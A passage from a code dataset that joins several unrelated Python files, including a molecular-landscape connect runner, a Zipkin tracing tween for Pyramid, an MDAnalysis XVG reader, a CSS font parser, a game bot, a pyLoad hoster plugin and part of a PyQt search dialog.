back through the pipe """ def __init__(self, comm, system, min1, min2, pipe_stdout=True, return_smoothed_path=True): mp.Process.__init__(self) #QtCore.QThread.__init__(self) self.comm = comm self.system = system self.min1, self.min2 = min1, min2 self.pipe_stdout = pipe_stdout self.return_smoothed_path = return_smoothed_path self.started = False self.finished = False def get_smoothed_path(self): mints, S, energies = self.connect.returnPath() clist = [m.coords for m in mints] smoothpath = self.system.smooth_path(clist) return smoothpath, S, energies def test_success(self): return self.connect.graph.areConnected(self.m1local, self.m2local) def clean_up(self): "send the lists of transition states and minima back to the parent process" minima = [UnboundMinimum(m) for m in self.db.minima()] tslist = [UnboundTransitionState(ts) for ts in self.db.transition_states()] self.comm.send(("new coords", minima, tslist)) # return the success status success = self.test_success() self.comm.send(("success", success)) if success: # return the smoothed path, or None if not successful pathdata = self.get_smoothed_path() self.comm.send(("smoothed path", pathdata)) # send signal we're done here self.finished = True self.comm.send(("finished",)) def terminate_early(self, *args, **kwargs): sys.stderr.write("caught signal, cleaning up and exiting\n") if self.started and not self.finished: sys.stderr.write("starting clean up\n") self.clean_up() sys.stderr.write("finished clean up\n") sys.stderr.write("exiting\n") sys.exit(0) def do_double_ended_connect(self): db = self.system.create_database() self.db = db # min1 and min2 are associated with the old database, we need to create # the minima again using the new database self.m1local = db.addMinimum(self.min1.energy, self.min1.coords) self.m2local = db.addMinimum(self.min2.energy, self.min2.coords) self.started = True self.connect = self.system.get_double_ended_connect(self.m1local, self.m2local, db, fresh_connect=True, load_no_distances=True) self.connect.connect() def run(self): signal.signal(signal.SIGTERM, self.terminate_early) signal.signal(signal.SIGINT, self.terminate_early) if self.pipe_stdout: # print >> sys.stderr, "stderr" self.mylog = OutLog(self.comm) sys.stdout = self.mylog logger = logging.getLogger("pygmin") handles = logger.handlers for h in handles: # print >> sys.stderr, "removing handler", h logger.removeHandler(h) sh = logging.StreamHandler(self.mylog) logger.addHandler(sh) # import pygmin # logger.removeHandler(pygmin.h) # print >> sys.stderr, "stderr2" self.do_double_ended_connect() self.clean_up() class DECRunner(QtCore.QObject): """Spawn a double ended connect run in a child process This will spawn a new process and deal with the communication Parameters ---------- system : database : Database The minima and transition states found will be added to the database after the connect run is finished min1, min2 : Munimum objects the minima to try to connect outstream : an object with attribute `outstream.write(mystring)` the log messages from the connect run will be redirected here return_smoothed_path : bool if True the final smoothed path will be calculated Attributes ---------- on_finished : Signal this signal will be called when the connect job is finished """ def __init__(self, system, database, min1, min2, outstream=None, return_smoothed_path=True, daemon=True): QtCore.QObject.__init__(self) self.system = system self.database = database self.min1, self.min2 = min1, min2 self.return_smoothed_path = return_smoothed_path self.daemon = daemon self.outstream = outstream self.on_finished = Signal() self.decprocess = None self.newminima = set() self.newtransition_states = set() self.success = False self.killed_early = False self.is_running = False def poll(self): """this does the checking in the background to see if any messages have been passed""" # if not self.decprocess.is_alive(): # self.refresh_timer.stop() # return if not self.parent_conn.poll(): return message = self.parent_conn.recv() self.process_message(message) def start(self): """start the connect job""" if(self.decprocess): if(self.decprocess.is_alive()): return parent_conn, child_conn = mp.Pipe() self.conn = parent_conn self.parent_conn = parent_conn self.decprocess = DECProcess(child_conn, self.system, self.min1, self.min2, pipe_stdout=(self.outstream is not None)) self.decprocess.daemon = self.daemon self.decprocess.start() # self.poll_thread = PollThread(self, parent_conn) # self.poll_thread.start() self.refresh_timer = QtCore.QTimer() self.refresh_timer.timeout.connect(self.poll) self.refresh_timer.start(1.) self.is_running = True def add_minima_transition_states(self, new_minima, new_ts): """Add the minima and transition states found to the database convert the UnboundMinimum and UnboundTransitionStates to ones bound to self.database """ print "processing new minima and ts" self.newminima = set() self.newtransition_states = set() old2new = dict() self.system.params.gui._sort_lists = False for m in new_minima: mnew = self.database.addMinimum(m.energy, m.coords) old2new[m._id] = mnew self.newminima.add(mnew) for ts in new_ts: m1id = ts._minimum1_id m2id = ts._minimum2_id m1new = old2new[m1id] m2new = old2new[m2id] tsnew = self.database.addTransitionState(ts.energy, ts.coords, m1new, m2new, eigenval=ts.eigenval, eigenvec=ts.eigenvec) self.newtransition_states.add(tsnew) nmin = len(new_minima) nts = len(new_ts) print "finished connect run: adding", nmin, "minima, and", nts, "transition states to database" self.system.params.gui._sort_lists = True def terminate_early(self): self.killed_early = True self.decprocess.terminate() print "finished terminating" self.is_running = False # self.decprocess.join() # print "done killing job" # self.on_finished() def finished(self): """the job is finished, do some clean up""" self.decprocess.join() self.decprocess.terminate() self.decprocess.join() self.refresh_timer.stop() # print "done killing job" self.on_finished() self.is_running = False def process_message(self, message): if message[0] == "stdout": self.outstream.write(message[1]) elif message[0] == "new coords": new_minima, new_ts = message[1:] self.add_minima_transition_states(new_minima, new_ts) elif message[0] == "success": self.success = message[1] elif message[0] == "smoothed path": pathdata = message[1] self.smoothed_path, self.S, self.energies = pathdata elif message[0] == "finished": self.finished()
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Yelp/pyramid_zipkin
pyramid_zipkin/tween.py
1
8038
# -*- coding: utf-8 -*- import functools import warnings from collections import namedtuple from py_zipkin import Encoding from py_zipkin import Kind from py_zipkin.exception import ZipkinError from py_zipkin.storage import get_default_tracer from py_zipkin.transport import BaseTransportHandler from pyramid_zipkin.request_helper import create_zipkin_attr from pyramid_zipkin.request_helper import get_binary_annotations from pyramid_zipkin.request_helper import should_not_sample_path from pyramid_zipkin.request_helper import should_not_sample_route def _getattr_path(obj, path): """ getattr for a dot separated path If an AttributeError is raised, it will return None. """ if not path: return None for attr in path.split('.'): obj = getattr(obj, attr, None) return obj _ZipkinSettings = namedtuple('ZipkinSettings', [ 'zipkin_attrs', 'transport_handler', 'service_name', 'span_name', 'add_logging_annotation', 'report_root_timestamp', 'host', 'port', 'context_stack', 'firehose_handler', 'post_handler_hook', 'max_span_batch_size', 'use_pattern_as_span_name', 'encoding', ]) def _get_settings_from_request(request): """Extracts Zipkin attributes and configuration from request attributes. See the `zipkin_span` context in py-zipkin for more detaied information on all the settings. Here are the supported Pyramid registry settings: zipkin.create_zipkin_attr: allows the service to override the creation of Zipkin attributes. For example, if you want to deterministically calculate trace ID from some service-specific attributes. zipkin.transport_handler: how py-zipkin will log the spans it generates. zipkin.stream_name: an additional parameter to be used as the first arg to the transport_handler function. A good example is a Kafka topic. zipkin.add_logging_annotation: if true, the outermost span in this service will have an annotation set when py-zipkin begins its logging. zipkin.report_root_timestamp: if true, the outermost span in this service will set its timestamp and duration attributes. Use this only if this service is not going to have a corresponding client span. See https://github.com/Yelp/pyramid_zipkin/issues/68 zipkin.firehose_handler: [EXPERIMENTAL] this enables "firehose tracing", which will log 100% of the spans to this handler, regardless of sampling decision. This is experimental and may change or be removed at any time without warning. zipkin.use_pattern_as_span_name: if true, we'll use the pyramid route pattern as span name. If false (default) we'll keep using the raw url path. """ settings = request.registry.settings # Creates zipkin_attrs and attaches a zipkin_trace_id attr to the request if 'zipkin.create_zipkin_attr' in settings: zipkin_attrs = settings['zipkin.create_zipkin_attr'](request) else: zipkin_attrs = create_zipkin_attr(request) if 'zipkin.transport_handler' in settings: transport_handler = settings['zipkin.transport_handler'] if not isinstance(transport_handler, BaseTransportHandler): warnings.warn( 'Using a function as transport_handler is deprecated. ' 'Please extend py_zipkin.transport.BaseTransportHandler', DeprecationWarning, ) stream_name = settings.get('zipkin.stream_name', 'zipkin') transport_handler = functools.partial(transport_handler, stream_name) else: raise ZipkinError( "`zipkin.transport_handler` is a required config property, which" " is missing. Have a look at py_zipkin's docs for how to implement" " it: https://github.com/Yelp/py_zipkin#transport" ) context_stack = _getattr_path(request, settings.get('zipkin.request_context')) service_name = settings.get('service_name', 'unknown') span_name = '{0} {1}'.format(request.method, request.path) add_logging_annotation = settings.get( 'zipkin.add_logging_annotation', False, ) # If the incoming request doesn't have Zipkin headers, this request is # assumed to be the root span of a trace. There's also a configuration # override to allow services to write their own logic for reporting # timestamp/duration. if 'zipkin.report_root_timestamp' in settings: report_root_timestamp = settings['zipkin.report_root_timestamp'] else: report_root_timestamp = 'X-B3-TraceId' not in request.headers zipkin_host = settings.get('zipkin.host') zipkin_port = settings.get('zipkin.port', request.server_port) firehose_handler = settings.get('zipkin.firehose_handler') post_handler_hook = settings.get('zipkin.post_handler_hook') max_span_batch_size = settings.get('zipkin.max_span_batch_size') use_pattern_as_span_name = bool( settings.get('zipkin.use_pattern_as_span_name', False), ) encoding = settings.get('zipkin.encoding', Encoding.V1_THRIFT) return _ZipkinSettings( zipkin_attrs, transport_handler, service_name, span_name, add_logging_annotation, report_root_timestamp, zipkin_host, zipkin_port, context_stack, firehose_handler, post_handler_hook, max_span_batch_size, use_pattern_as_span_name, encoding=encoding, ) def zipkin_tween(handler, registry): """ Factory for pyramid tween to handle zipkin server logging. Note that even if the request isn't sampled, Zipkin attributes are generated and pushed into threadlocal storage, so `create_http_headers_for_new_span` and `zipkin_span` will have access to the proper Zipkin state. Consumes custom create_zipkin_attr function if one is set in the pyramid registry. :param handler: pyramid request handler :param registry: pyramid app registry :returns: pyramid tween """ def tween(request): zipkin_settings = _get_settings_from_request(request) tracer = get_default_tracer() tween_kwargs = dict( service_name=zipkin_settings.service_name, span_name=zipkin_settings.span_name, zipkin_attrs=zipkin_settings.zipkin_attrs, transport_handler=zipkin_settings.transport_handler, host=zipkin_settings.host, port=zipkin_settings.port, add_logging_annotation=zipkin_settings.add_logging_annotation, report_root_timestamp=zipkin_settings.report_root_timestamp, context_stack=zipkin_settings.context_stack, max_span_batch_size=zipkin_settings.max_span_batch_size, encoding=zipkin_settings.encoding, kind=Kind.SERVER, ) # Only set the firehose_handler if it's defined and only if the current # request is not blacklisted. This prevents py_zipkin from emitting # firehose spans for blacklisted paths like /status if zipkin_settings.firehose_handler is not None and \ not should_not_sample_path(request) and \ not should_not_sample_route(request): tween_kwargs['firehose_handler'] = zipkin_settings.firehose_handler with tracer.zipkin_span(**tween_kwargs) as zipkin_context: response = handler(request) if zipkin_settings.use_pattern_as_span_name and request.matched_route: zipkin_context.override_span_name('{} {}'.format( request.method, request.matched_route.pattern, )) zipkin_context.update_binary_annotations( get_binary_annotations(request, response), ) if zipkin_settings.post_handler_hook: zipkin_settings.post_handler_hook(request, response) return response return tween
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alejob/mdanalysis
package/MDAnalysis/auxiliary/XVG.py
1
11423
# -*- Mode: python; tab-width: 4; indent-tabs-mode:nil; coding:utf-8 -*- # vim: tabstop=4 expandtab shiftwidth=4 softtabstop=4 # # MDAnalysis --- http://www.mdanalysis.org # Copyright (c) 2006-2016 The MDAnalysis Development Team and contributors # (see the file AUTHORS for the full list of names) # # Released under the GNU Public Licence, v2 or any higher version # # Please cite your use of MDAnalysis in published work: # # R. J. Gowers, M. Linke, J. Barnoud, T. J. E. Reddy, M. N. Melo, S. L. Seyler, # D. L. Dotson, J. Domanski, S. Buchoux, I. M. Kenney, and O. Beckstein. # MDAnalysis: A Python package for the rapid analysis of molecular dynamics # simulations. In S. Benthall and S. Rostrup editors, Proceedings of the 15th # Python in Science Conference, pages 102-109, Austin, TX, 2016. SciPy. # # N. Michaud-Agrawal, E. J. Denning, T. B. Woolf, and O. Beckstein. # MDAnalysis: A Toolkit for the Analysis of Molecular Dynamics Simulations. # J. Comput. Chem. 32 (2011), 2319--2327, doi:10.1002/jcc.21787 # """ XVG auxiliary reader --- :mod:`MDAnalysis.auxiliary.XVG` ======================================================== xvg files are produced by Gromacs during simulation or analysis, formatted for plotting data with Grace. Data is column-formatted; time/data selection is enabled by providing column indices. Note ---- By default, the time of each step is assumed to be stored in the first column, in units of ps. .. autoclass:: XVGStep :members: XVG Readers ----------- The default :class:`XVGReader` reads and stores the full contents of the .xvg file on initialisation, while a second reader (:class:`XVGFileReader`) that reads steps one at a time as required is also provided for when a lower memory footprint is desired. Note ---- Data is assumed to be time-ordered. Multiple datasets, separated in the .xvg file by '&', are currently not supported (the readers will stop at the first line starting '&'). .. autoclass:: XVGReader :members: .. autoclass:: XVGFileReader :members: .. autofunction:: uncomment """ from six.moves import range import os import numpy as np from . import base from ..lib.util import anyopen def uncomment(lines): """ Remove comments from lines in an .xvg file Parameters ---------- lines : list of str Lines as directly read from .xvg file Yields ------ str The next non-comment line, with any trailing comments removed """ for line in lines: stripped_line = line.strip() # ignore blank lines if not stripped_line: continue # '@' must be at the beginning of a line to be a grace instruction if stripped_line[0] == '@': continue # '#' can be anywhere in the line, everything after is a comment comment_position = stripped_line.find('#') if comment_position > 0 and stripped_line[:comment_position]: yield stripped_line[:comment_position] elif comment_position < 0 and stripped_line: yield stripped_line # if comment_position == 0, then the line is empty class XVGStep(base.AuxStep): """ AuxStep class for .xvg file format. Extends the base AuxStep class to allow selection of time and data-of-interest fields (by column index) from the full set of data read each step. Parameters ---------- time_selector : int | None, optional Index of column in .xvg file storing time, assumed to be in ps. Default value is 0 (i.e. first column). data_selector : list of int | None, optional List of indices of columns in .xvg file containing data of interest to be stored in ``data``. Default value is ``None``. **kwargs Other AuxStep options. See Also -------- :class:`~MDAnalysis.auxiliary.base.AuxStep` """ def __init__(self, time_selector=0, data_selector=None, **kwargs): super(XVGStep, self).__init__(time_selector=time_selector, data_selector=data_selector, **kwargs) def _select_time(self, key): if key is None: # here so that None is a valid value; just return return if isinstance(key, int): return self._select_data(key) else: raise ValueError('Time selector must be single index') def _select_data(self, key): if key is None: # here so that None is a valid value; just return return if isinstance(key, int): try: return self._data[key] except IndexError: raise ValueError('{} not a valid index for data with {} ' 'columns'.format(key, len(self._data))) else: return np.array([self._select_data(i) for i in key]) class XVGReader(base.AuxReader): """ Auxiliary reader to read data from an .xvg file. Detault reader for .xvg files. All data from the file will be read and stored on initialisation. Parameters ---------- filename : str Location of the file containing the auxiliary data. **kwargs Other AuxReader options. See Also -------- :class:`~MDAnalysis.auxiliary.base.AuxReader` Note ---- The file is assumed to be of a size such that reading and storing the full contents is practical. """ format = "XVG" _Auxstep = XVGStep def __init__(self, filename, **kwargs): self._auxdata = os.path.abspath(filename) with anyopen(filename) as xvg_file: lines = xvg_file.readlines() auxdata_values = [] # remove comments before storing for i, line in enumerate(uncomment(lines)): if line.lstrip()[0] == '&': # multiple data sets not supported; stop at the end of the first break auxdata_values.append([float(l) for l in line.split()]) # check the number of columns is consistent if len(auxdata_values[i]) != len(auxdata_values[0]): raise ValueError('Step {0} has {1} columns instead of ' '{2}'.format(i, auxdata_values[i], auxdata_values[0])) self._auxdata_values = np.array(auxdata_values) self._n_steps = len(self._auxdata_values) super(XVGReader, self).__init__(**kwargs) def _read_next_step(self): """ Read next auxiliary step and update ``auxstep``. Returns ------- AuxStep object Updated with the data for the new step. Raises ------ StopIteration When end of auxiliary data set is reached. """ auxstep = self.auxstep new_step = self.step + 1 if new_step < self.n_steps: auxstep._data = self._auxdata_values[new_step] auxstep.step = new_step return auxstep else: self.rewind() raise StopIteration def _go_to_step(self, i): """ Move to and read i-th auxiliary step. Parameters ---------- i : int Step number (0-indexed) to move to Raises ------ ValueError If step index not in valid range. """ if i >= self.n_steps or i < 0: raise ValueError("Step index {0} is not valid for auxiliary " "(num. steps {1})".format(i, self.n_steps)) self.auxstep.step = i-1 self.next() return self.auxstep def read_all_times(self): """ Get list of time at each step. Returns ------- list of float Time at each step. """ return self._auxdata_values[:,self.time_selector] class XVGFileReader(base.AuxFileReader): """ Auxiliary reader to read (step at a time) from an .xvg file. An alternative XVG reader which reads each step from the .xvg file as needed (rather than reading and storing all from the start), for a lower memory footprint. Parameters ---------- filename : str Location of the file containing the auxiliary data. **kwargs Other AuxReader options. See Also -------- :class:`~MDAnalysis.auxiliary.base.AuxFileReader` Note ---- The default reader for .xvg files is :class:`XVGReader`. """ format = 'XVG-F' _Auxstep = XVGStep def __init__(self, filename, **kwargs): super(XVGFileReader, self).__init__(filename, **kwargs) def _read_next_step(self): """ Read next recorded step in xvg file and update ``austep``. Returns ------- AuxStep object Updated with the data for the new step. Raises ------ StopIteration When end of file or end of first data set is reached. """ line = next(self.auxfile) while True: if not line or (line.strip() and line.strip()[0] == '&'): # at end of file or end of first set of data (multiple sets # currently not supported) self.rewind() raise StopIteration # uncomment the line for uncommented in uncomment([line]): # line has data in it; add to auxstep + return auxstep = self.auxstep auxstep.step = self.step + 1 auxstep._data = [float(i) for i in uncommented.split()] # see if we've set n_cols yet... try: auxstep._n_cols except AttributeError: # haven't set n_cols yet; set now auxstep._n_cols = len(auxstep._data) if len(auxstep._data) != auxstep._n_cols: raise ValueError('Step {0} has {1} columns instead of ' '{2}'.format(self.step, len(auxstep._data), auxstep._n_cols)) return auxstep # line is comment only - move to next line = next(self.auxfile) def _count_n_steps(self): """ Iterate through all steps to count total number. Returns ------- int Total number of steps """ if not self.constant_dt: # check if we've already iterated through to build _times list try: return len(self._times) except AttributeError: # might as well build _times now, since we'll need to iterate # through anyway self._times = self.read_all_times() return len(self.read_all_times()) else: # don't need _times; iterate here instead self._restart() count = 0 for step in self: count = count + 1 return count def read_all_times(self): """ Iterate through all steps to build times list. Returns ------- list of float Time of each step """ self._restart() times = [] for step in self: times.append(self.time) return np.array(times)
gpl-2.0
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Cobaltians-Fonts/fontToCobalt
parsers/css.py
1
1486
# # Created by Roxane P. on 15/01/2016 # Parse fonts styles.css from fontastic or icomoon # import tinycss names = [] glyphs = [] prefix = '' fontName = '' def parseCSS(file): parser = tinycss.make_parser('page3') stylesheet = parser.parse_stylesheet_file(file); global prefix global fontName first = True content = False for rule in stylesheet.rules: # get raw glyph and name glyph = rule.declarations name = rule.selector.as_css().split(':', 1)[0].replace('.', '') if first == True: fontName = glyph[0].value.as_css().replace('\'', '').replace('"', '') # set fontName first = False else: if prefix == '': # we dont have the prefix yet tmp = rule.selector.as_css().split('-', 1)[0].replace('.', '') if tmp[0] != '[' and tmp != '': prefix = tmp # set the prefix we are looking for if (glyph[0].value.as_css()[1] == '\\'): content = True # font selector with needed content appeared if content == True: glyph = glyph[0].value.as_css().replace('"', '') glyphs.append(glyph.lower()) # set a glyph in glyphs if name[0] != '[': names.append(name.lower()) # set a name in names def get_names(): return names; def get_glyphs(): return glyphs; def get_fontName(): return fontName; def get_prefix(): return prefix;
mit
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rosedu/I.GameBot
snake_maze/game_bots/random_bot_02_python/snakemaze_play_turn.py
1
1318
import random from copy import deepcopy DIRECTIONS = ['right', 'left', 'up', 'down'] def locate_free_square(width, height, obstacles): square = {'x': 0, 'y': 0} while square in obstacles: square['x'] = random.choice( range(0,width) ) square['y'] = random.choice( range(0,height) ) return square def play_turn(width, height, obstacles): snake = { 'starts_at': locate_free_square(width, height, obstacles), 'shape_segments': [] } for direction in DIRECTIONS: next_square = deepcopy( snake['starts_at'] ) # Python doesn't have case statements, # so the following few IFs are necessarily ugly if direction == 'right': next_square['x'] += 1 if direction == 'left': next_square['x'] -= 1 if direction == 'up': next_square['y'] -= 1 if direction == 'down': next_square['y'] += 1 next_square_out_of_bounds = \ next_square['x'] > width - 1 or \ next_square['x'] < 0 or \ next_square['y'] < 0 or \ next_square['y'] > height - 1 if next_square not in obstacles and not next_square_out_of_bounds: snake['shape_segments'].append(direction) break return snake
agpl-3.0
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opevolution/pycrackcaptcha
pycrackcaptcha/data.py
1
1273
# -*- coding: utf-8 -*- # vim: set expandtab tabstop=4 shiftwidth=4: ############################################################### # # # Alexandre Defendi - 01/04/2014 # # # # Módulo Básico - PyCrackCaptcha # # # # # # # # # # # ############################################################### class CCaptchaData(object): """ Interface para Implementações de Cracks """ def __init__(self, **kwargs): self._arquivo = kwargs.pop('arquivo', False) def _get_arquivo(self): if self._arquivo is not None: return "%s" % self._arquivo else: return False def _set_arquivo(self, val): if val: self._arquivo = val else: self._arquivo = False arquivo = property(_get_arquivo, _set_arquivo)
bsd-3-clause
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mariusbaumann/pyload
module/plugins/hoster/ZeveraCom.py
1
1124
# -*- coding: utf-8 -*- from module.plugins.internal.MultiHoster import MultiHoster, create_getInfo class ZeveraCom(MultiHoster): __name__ = "ZeveraCom" __type__ = "hoster" __version__ = "0.25" __pattern__ = r'http://(?:www\.)?zevera\.com/.+' __description__ = """Zevera.com hoster plugin""" __license__ = "GPLv3" __authors__ = [("zoidberg", "zoidberg@mujmail.cz")] def handlePremium(self): if self.account.getAPIData(self.req, cmd="checklink", olink=self.pyfile.url) != "Alive": self.fail(_("Offline or not downloadable")) header = self.account.getAPIData(self.req, just_header=True, cmd="generatedownloaddirect", olink=self.pyfile.url) if not "location" in header: self.fail(_("Unable to initialize download")) self.link = header['location'] def checkFile(self): super(ZeveraCom, self).checkFile() if self.checkDownload({"error": 'action="ErrorDownload.aspx'}) is "error": self.fail(_("Error response received - contact Zevera support")) getInfo = create_getInfo(ZeveraCom)
gpl-3.0
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30.222
121
0.617
false
joemicro/Manufacturing
findform.py
1
31523
import os import sys from PyQt4.QtCore import * from PyQt4.QtGui import * from sqlalchemy import * from sqlalchemy.orm import * from databaseschema import * from genericdelegates import * from functions import * import modelsandviews import ui_forms.ui_findform import receiveform import batchform import productionform import inventoryadjform import reporting localTITLE = 'Find' RECEIVE, BATCH, PRODUCTION, ADJUSTMENT, PREP = range(5) class FilterList(object): def __init__(self, filter, criteria, setTo): self.filter = filter self.criteria = criteria self.setTo = setTo class FilterModel(QAbstractTableModel): def __init__(self, parent=None): super(FilterModel, self).__init__(parent) self.records = [] def rowCount(self, index=QModelIndex()): return len(self.records) def columnCount(self, index=QModelIndex()): return 3 def data(self, index, role=Qt.DisplayRole): if not index.isValid() or not (0 <= index.row() < len(self.records)): return QVariant() record = self.records[index.row()] column = index.column() if role == Qt.DisplayRole: if column == 0: return QVariant(record.filter) elif column == 1: return QVariant(record.criteria) elif column == 2: return QVariant(record.setTo) return QVariant() def setData(self, index, value, role=Qt.EditRole): if index.isValid() and role == Qt.EditRole: record = self.records[index.row()] column = index.column() if column == 0: record.filter = value.toString() elif column == 1: record.criteria = value.toString() elif column == 2 : record.setTo = value.toString() self.emit(SIGNAL("dataChanged(QModelIndex, QModelIndex)"), index, index) return True return False def insertRows(self, position, object, rows=1, index=QModelIndex()): self.beginInsertRows(QModelIndex(), position, position + rows - 1) for row in range(rows): self.records.insert(position + row + 1, object) self.endInsertRows() return True def removeRows(self, position, rows=1, index=QModelIndex()): self.beginRemoveRows(QModelIndex(), position, position + rows - 1) self.records = self.records[:position] + self.records[position + rows:] self.endRemoveRows() return True def getFilterCriteria(self): records_ = [] for rec in self.records: crit = rec.filter records_ += [str(crit)] return records_ def clear(self): self.beginResetModel() self.items = [] self.items.append(ItemAssembly()) self.endResetModel() #================================================================== ### Form setup ============== class FindForm(QDialog, ui_forms.ui_findform.Ui_FindForm): ### Initializer ============== def __init__(self, supplierModel, parent=None): super(FindForm, self).__init__(parent) self.setupUi(self) self.tabWidget.setCurrentIndex(0) self.session = Session() self.query = None self.model = None self.reportName = QString() self.fieldList = [] self.columnsToTotal = [] self.proxyModel = QSortFilterProxyModel() self.myParent = parent ## == Standard tab GUI setup == journalList = QStringList() journalList << 'Receive' << 'Batch' << 'Production' << 'Adjustment' << 'Preparation' self.journal_combo.addItems(journalList) self.supCom.setVisible(False) self.supplierModel = supplierModel self.supplier_combo = modelsandviews.SupplierComboBox(self.supplierModel) self.supplier_combo.setMinimumSize(QSize(218, 25)) self.supplier_combo.setMaximumSize(QSize(218, 25)) self.gridLayout.addWidget(self.supplier_combo, 2, 1, 1, 2) self.batchDesc_lineEdit = QLineEdit() self.batchDesc_lineEdit.setMinimumSize(QSize(218, 25)) self.batchDesc_lineEdit.setMaximumSize(QSize(218, 85)) self.gridLayout.addWidget(self.batchDesc_lineEdit, 2, 1, 1, 2) self.batchDesc_lineEdit.setVisible(False) validator = QDoubleValidator() validator.StandardNotation self.amountHi_lineEdit.setValidator(validator) self.amountLow_lineEdit.setValidator(validator) self.dtcom.setVisible(False) self.dateRange_combo = modelsandviews.DateRangeComboBox(self.layoutWidget) self.dateRange_combo.setCurrentIndex(0) self.dateRange_combo.setMinimumSize(QSize(96, 25)) self.dateRange_combo.setMaximumSize(QSize(96, 25)) self.gridLayout.addWidget(self.dateRange_combo, 4, 1, 1, 1) self.dateLow_dateEdit.setDate(QDate.currentDate()) self.dateHi_dateEdit.setDate(QDate.currentDate()) self.results_tableView.setSelectionMode(QTableView.SingleSelection) self.results_tableView.setSelectionBehavior(QTableView.SelectRows) ## == Detail tab GUI setup == self.filter_stackedWidget.setCurrentIndex(0) crtList = QStringList() crtList << 'Journal Number' << 'Journal ID' << 'Supplier' << 'Items' << 'Description' << 'Journal Type' \ << 'Item Type' << 'Date' << 'Date Modified' crtView = self.criteriaList_listWidget crtView.addItems(crtList) crtView.setEditTriggers(QListView.NoEditTriggers) self.filterModel = FilterModel() fltView = self.criteria_tableView fltView.setModel(self.filterModel) fltView.hideColumn(0) fltView.horizontalHeader().setStretchLastSection(True) fltView.horizontalHeader().setVisible(False) fltView.verticalHeader().setVisible(False) fltView.setSelectionMode(QTableView.SingleSelection) fltView.setSelectionBehavior(QTableView.SelectRows) fltView.resizeColumnsToContents() self.dateLowFilter_dateEdit.setDate(QDate.currentDate()) self.dateHiFilter_dateEdit.setDate(QDate.currentDate()) self.modDateLowFilter_dateEdit.setDate(QDate.currentDate()) self.modDateHiFilter_dateEdit.setDate(QDate.currentDate()) ## == stackWidget items setup == self.journalStart_lineEdit.setValidator(validator) self.journalEnd_lineEdit.setValidator(validator) self.supplier_list = modelsandviews.SupplierListModel() self.supplierFilter_tableView.setModel(self.supplier_list) supplier_view = self.supplierFilter_tableView supplier_view.hideColumn(1) supplier_view.setColumnWidth(0, 25) supplier_view.verticalHeader().setVisible(False) supplier_view.setSelectionMode(QTableView.SingleSelection) supplier_view.setSelectionBehavior(QTableView.SelectRows) self.ItemList = modelsandviews.UnionItemListModel() itemView = self.itemFilter_tableView itemView.setModel(self.ItemList) itemView.hideColumn(1) itemView.verticalHeader().setVisible(False) itemView.setSelectionMode(QTableView.SingleSelection) itemView.setSelectionBehavior(QTableView.SelectRows) itemView.resizeColumnsToContents() self.journalFilter_combo.addItems(journalList) self.journalFilter_combo.removeItem(1) self.journalFilter_combo.setCurrentIndex(-1) self.bothItemTypeFilter_checkBox.setChecked(True) self.dtfilcom.setVisible(False) self.dateFilter_combo = modelsandviews.DateRangeComboBox(self.layoutWidget6) self.dateFilter_combo.setMinimumSize(QSize(96, 25)) self.dateFilter_combo.setMaximumSize(QSize(96, 25)) self.gridLayout_7.addWidget(self.dateFilter_combo, 1, 1, 1, 1) self.dtfilcom_2.setVisible(False) self.modfiedDateFilter_combo = modelsandviews.DateRangeComboBox(self.layoutWidget_10) self.modfiedDateFilter_combo.setMinimumSize(QSize(96, 25)) self.modfiedDateFilter_combo.setMaximumSize(QSize(96, 25)) self.gridLayout_8.addWidget(self.modfiedDateFilter_combo, 1, 1, 1, 1) self.amountLow_lineEdit.editingFinished.connect(self.standardAmount) self.amountHi_lineEdit.editingFinished.connect(self.standardAmount) self.dateRange_combo.currentIndexChanged.connect(lambda: self.dateRangeSelection(self.dateRange_combo, self.dateLow_dateEdit, self.dateHi_dateEdit)) self.dateFilter_combo.currentIndexChanged.connect(lambda: self.dateRangeSelection(self.dateFilter_combo, self.dateLowFilter_dateEdit, self.dateHiFilter_dateEdit)) self.modfiedDateFilter_combo.currentIndexChanged.connect(lambda: self.dateRangeSelection(self.modfiedDateFilter_combo, self.modDateLowFilter_dateEdit, self.modDateHiFilter_dateEdit)) self.connect(crtView, SIGNAL('currentRowChanged(int)'), self.filter_stackedWidget, SLOT('setCurrentIndex(int)')) self.journal_combo.currentIndexChanged.connect(self.layoutChange) self.findButton.clicked.connect(self.find) self.editButton.clicked.connect(self.edit) self.results_tableView.doubleClicked.connect(self.edit) self.reportButton.clicked.connect(self.printReport) self.clearButton.clicked.connect(self.clear) self.closeButton.clicked.connect(self.reject) ## == Setup stackedWidget operations == self.journalRef_lineEdit.editingFinished.connect(self.journalNum) self.journalStart_lineEdit.editingFinished.connect(self.journalIDRange) self.journalEnd_lineEdit.editingFinished.connect(self.journalIDRange) self.itemDesc_lineEdit.editingFinished.connect(self.itemDesc) self.journalFilter_combo.currentIndexChanged.connect(self.journalType) self.rmFilter_checkBox.stateChanged.connect(self.itemType) self.fgFilter_checkBox.stateChanged.connect(self.itemType) self.dateLowFilter_dateEdit.dateChanged.connect(self.dateRange) self.dateHiFilter_dateEdit.dateChanged.connect(self.dateRange) self.modDateLowFilter_dateEdit.dateChanged.connect(self.modDateRange) self.modDateHiFilter_dateEdit.dateChanged.connect(self.modDateRange) self.removeFilter_button.clicked.connect(self.removeFilter) itemView.clicked.connect(self.checkItem) supplier_view.clicked.connect(self.checkItem) self.setWindowTitle(localTITLE) def reject(self): QDialog.reject(self) self.myParent.formClosed() def standardAmount(self): amount_low = str(self.amountLow_lineEdit.text()) amount_hi = str(self.amountHi_lineEdit.text()) if not amount_low: return amount_low = float(amount_low) if not amount_hi: return amount_hi = float(amount_hi) if amount_hi < amount_low: self.amountLow_lineEdit.setText(str(amount_hi)) self.amountHi_lineEdit.setText(str(amount_low)) def standardDate(self): fromDate = self.dateLow_dateEdit.date() fromDate = fromDate.toPyDate() toDate = self.dateHi_dateEdit.date() toDate = toDate.toPyDate() if toDate < fromDate: self.dateLow_dateEdit.setDate(toDate) self.dateHi_dateEdit.setDate(fromDate) ## == setup detail filter function calls def checkItem(self, index): model = self.supplier_list if self.sender() == self.itemFilter_tableView: model = self.ItemList row = index.row() i = model.index(row, 0) if index.model().data(i, Qt.DisplayRole).toString() != 'P': model.setData(i, QVariant('P'), role=Qt.EditRole) else: model.setData(i, QVariant(), role=Qt.EditRole) def removeFilter(self): row = self.criteria_tableView.currentIndex().row() self.filterModel.removeRows(row) def dateRangeSelection(self, rangeCombo, dateFrom, dateTo): dateFrom.blockSignals(True) dateTo.blockSignals(True) selection = rangeCombo.currentText() date_from, date_to = dateRange(selection) dateFrom.setDate(date_from) 